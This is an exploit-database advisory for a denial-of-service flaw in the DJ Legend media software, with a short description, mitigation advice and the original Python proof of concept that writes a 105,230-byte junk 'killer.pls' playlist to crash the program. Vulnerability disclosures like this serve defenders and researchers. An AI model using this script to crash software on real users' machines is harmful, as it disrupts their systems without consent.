DJ Legend Denial of Service Vulnerability

vendor:

DJ Legend

by:

ABDI MOHAMED

7,5

CVSS

HIGH

Denial of Service

CWE

Product Name: DJ Legend

Affected Version From: n/a

Affected Version To: n/a

Patch Exists: NO

Related CWE: n/a

CPE: a:dj_legend:dj_legend

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 Ultimate fr

n/a

DJ Legend Denial of Service Vulnerability

A denial of service vulnerability exists in DJ Legend due to a lack of proper input validation when handling .pls files. An attacker can exploit this vulnerability by creating a malicious .pls file containing a large amount of data and sending it to the target user. This will cause the application to crash when the file is opened.

Mitigation:

Input validation should be performed on all user-supplied data to prevent malicious data from causing a denial of service.

Source

Exploit-DB raw data:

#Exploit Title :DJ Legend Denial of Service Vulnerability
#Software : DJ Legend
#Software link : http://software-files-l.cnet.com/s/software/11/01/29/39/DJLegendTrial_601.exe?e=1287193960&h=2175e25785f74d3d13e14f7b93f3d94f&lop=link&ptype=1901&ontid=18502&siteId=4&edId=3&spi=1b1509d696a5851e6b5d4f3269c5a9af&pid=11012939&psid=10904364&fileName=DJLegendTrial_601.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#greetz: net_own3r , sadhacker , net-decrypt3r , xa7m3d , mr.fearfactor and all tunisian hackers
#Software version : n/a
#Tested on : Win7 Ultimate fr
#!/usr/bin/python
outfile="killer.pls"
junk="\x41" * 105230
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , [+]"